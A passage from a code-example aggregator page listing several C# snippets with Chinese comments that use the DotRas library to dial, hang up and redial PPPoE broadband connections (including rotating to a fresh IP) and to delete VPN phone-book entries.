        /// 宽带ip转换
        /// </summary>
        /// <param name="kdlj">宽带连接名称 如:本地连接,宽带连接</param>
        /// <param name="userName">帐号</param>
        /// <param name="pwd">密码</param>
        public void ChangeIp(string kdlj, string userName, string pwd)
        {
            //hx.Mset.IsChangeIp = hx.Mset.IsChangeIp;
            LogServer.WriteLog("开始准备更换IP", "changeIp");

            HANDUPCON:
            string oldIpAddress;
            RasConnection oldConn;
            GetIpAddress(out oldIpAddress, out oldConn);
            string entryName = "";
            if (oldConn != null)
            {

                try
                {
                    entryName = oldConn.EntryName;
                    RasIPInfo ipAddresses = (RasIPInfo) oldConn.GetProjectionInfo(RasProjectionType.IP);
                    string oldIp = ipAddresses.IPAddress.ToString();
                    LogServer.WriteLog("现在名称:" + entryName + "IP是" + oldIp, "changeIp");
                    LogServer.WriteLog("开始挂断", "changeIp");
                    oldConn.HangUp(10*1000);
                    //Thread.Sleep(hx.Mset.RasHangUpSleepTime);
                    if (RasConnection.GetActiveConnectionById(oldConn.EntryId) != null)
                    {
                        LogServer.WriteLog("结束挂断失败,重新挂断", "changeIp");
                        goto HANDUPCON;
                    }
                    oldConn = null;
                    LogServer.WriteLog("结束挂断", "changeIp");
                }
                catch (Exception ex)
                {
                    LogServer.WriteLog("宽带连接挂断失败," + ex.Message, "changeIp");
                }
            }
            int error = 0;
            do
            {
                try
                {
                    //  var dt = SqliteHelper.GetDataTable("select * from sys_config");
                    RasDialer rs = new RasDialer();
                    if (entryName == "")
                    {
                        entryName = kdlj; // dt.Rows[0]["SC_NetEntryName"].ToString();
                    }
                    rs.EntryName = entryName;
                    rs.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
                    rs.Credentials = new NetworkCredential(userName, pwd);
                    rs.Dial();
                    rs.Dispose();
                    LogServer.WriteLog("开始重新拨号", "changeIp");
                    break;
                }
                catch (Exception ex)
                {
                    error++;
                    LogServer.WriteLog("宽带重新拨号失败" + ex.Message, "changeIp");
                    Thread.Sleep(30000);
                }
            } while (error < 5);
            if (error >= 5)
            {
                LogServer.WriteLog("宽带重新拨号5次数失败", "changeIp");
                return;
            }

            if (oldConn != null)
            {
                string ipAddresses;
                GetIpAddress(out ipAddresses, out oldConn);
                if (oldIpAddress == ipAddresses)
                {
                    //addlog("IP和上次重复,重新拨号");
                    LogServer.WriteLog("IP和上次重复,重新拨号", "changeIp");
                    Thread.Sleep(DialFaildSleepTime);
                    goto HANDUPCON;
                }
                else
                {
                    if (historyIps.Contains(ipAddresses))
                    {
                        LogServer.WriteLog("IP和前" + IPLoopCount + "次重复,重新拨号", "changeIp");
                        Thread.Sleep(DialFaildSleepTime);
                        goto HANDUPCON;
                    }
                    if (historyIps.Count >= IPLoopCount)
                    {
                        historyIps.RemoveAt(0);
                        historyIps.Add(ipAddresses);
                    }
                    historyIps.Add(ipAddresses);
                }

                //addlog("现在的IP是" + ipAddresses);

            }
            //main.pppoeact = true;
            LogServer.WriteLog("更换成功", "changeIp");
            //addlog("更换成功.. ");
        }
Esempio n. 29
0
 /// <summary>
 /// 构造
 /// </summary>
 public DME_Dialer()
 {
     _AllUsersPhoneBook = new RasPhoneBook();
     _Dialer = new RasDialer();
     this._Dialer.StateChanged += new System.EventHandler<DME.Dialer.StateChangedEventArgs>(this.Dialer_StateChanged);
     this._Dialer.DialCompleted += new System.EventHandler<DME.Dialer.DialCompletedEventArgs>(this.Dialer_DialCompleted);
 }
Esempio n. 30
0
        /// <summary>
        /// 测试拨号连接
        /// </summary>
        private string getNewPPPoe(string name=null )
        {
            try
            {
                if(name ==null)
                {
                    name = txtBox_pppoeName.Text.Trim();
                    name = string.IsNullOrEmpty(name) ? dic_pppoeName.First().Key : name;
                }

                RasDialer dialer = new RasDialer();
                dialer.EntryName = name;
                dialer.PhoneNumber = " ";
                dialer.AllowUseStoredCredentials = true;
                dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
                dialer.Timeout = 1000;
                dialer.Dial();

                Thread.Sleep(100);
               return  LoadConnections();
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
            return "";
        }
        public static void ConnectThread()
        {
            try
            {
                ms_rasdialer = new RasDialer();
                ms_rasdialer.EntryName = ms_entryname;
                //判断是否带用户名连接
                if (ms_nc == null)
                {
                    ms_rasdialer.Dial();
                }
                else
                {
                    ms_rasdialer.Dial(ms_nc);
                }

            }
            catch (Exception rde)
            {
                log.Error("ADSLManger: ConnectionThread", rde);
            }
            finally
            {
                lock (connectionlocker)
                {
                    Monitor.Pulse(connectionlocker);
                }
            }
        }
Esempio n. 32
0
 /// <summary>
 /// 删除指定名称的VPN
 /// 如果VPN正在运行,一样会在电话本里删除,但是不会断开连接,所以,最好是先断开连接,再进行删除操作
 /// </summary>
 /// <param name="delVpnName"></param>
 public void TryDeleteVPN(string delVpnName)
 {
     RasDialer dialer = new RasDialer();
     RasPhoneBook allUsersPhoneBook = new RasPhoneBook();
     allUsersPhoneBook.Open();
     if (allUsersPhoneBook.Entries.Contains(delVpnName))
     {
         allUsersPhoneBook.Entries.Remove(delVpnName);
     }
 }
 public static void Disconnect()
 {
     try
     {
         if (ms_rasdialer != null)
         {
             ms_rasdialer.Dispose();                    
         }
         ms_rasdialer = new RasDialer();
         ReadOnlyCollection<RasConnection> connections = ms_rasdialer.GetActiveConnections();
         if (connections != null && connections.Count > 0)
         {
             foreach (RasConnection connection in connections)
             {
                 if (ms_entryname == connection.EntryName)
                 {
                     connection.HangUp();
                 }
             }
         }
         ms_rasdialer.Dispose();
     }
     catch (RasException re)
     {
         log.Error("ADSLManger: Disconnect", re);
     }
 }